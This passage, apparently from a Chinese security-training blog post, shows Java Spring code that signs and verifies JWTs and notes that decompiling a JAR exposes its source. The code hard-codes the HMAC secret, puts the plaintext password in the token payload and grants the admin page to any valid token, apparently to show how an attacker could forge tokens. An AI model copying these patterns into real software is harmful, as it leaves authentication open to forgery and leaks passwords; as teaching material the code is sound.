//.withHeader()
//设置创建的payload部分
.withClaim("userid", id)
.withClaim("username", user)
.withClaim("password", pass)
//设置时效(JWT过期时间)
//.withExpiresAt()
//创建设置的signature部分 算法和密匙
.sign(Algorithm.HMAC256("xiaodisec"));
System.out.println(jwttoken);
return jwttoken;
}
//模拟JWT身份的检测 jwt数据解密
@PostMapping("/jwtcheck")
@ResponseBody
public static String jwtcheck(String jwtdata){
//String jwtdata="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwYXNzd29yZCI6ImExMjM0NTYiLCJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiYWRtaW4ifQ.nkMIxHJKyGAHa3aDtTAy5_9j51yWDTQHEL8n-dqE33w";
//构建解密注册
JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();
//解密注册数据
DecodedJWT verify = jwt.verify(jwtdata);
//提取注册解密数据 payload部分
Integer userid = verify.getClaim("userid").asInt();
String username=verify.getClaim("username").asString();
String password=verify.getClaim("password").asString();
System.out.println(userid+username+password);
return "admin page";
// if(username.equals("admin")){
// return "admin";
// }else {
// return "gay?";
// }
//攻击者要模拟使用xiaodi用户去登录
//提取header部分
//verify.getHeader();
//提取sign签名部分
//verify.getSignature();
}
}
注意:signature部分不仅仅与密钥有关,还与用户名相关;所有用户采用同一个密钥,signature部分也都不相同。
项目打包成JAR
对于jar包中是编译后的.class文件,如果我们拿到jar包想要查看源码,可以把jar包解压缩,然后直接使用idea打开即可反编译。
版权归原作者 凌晨四点半sec 所有, 如有侵权,请联系我们删除。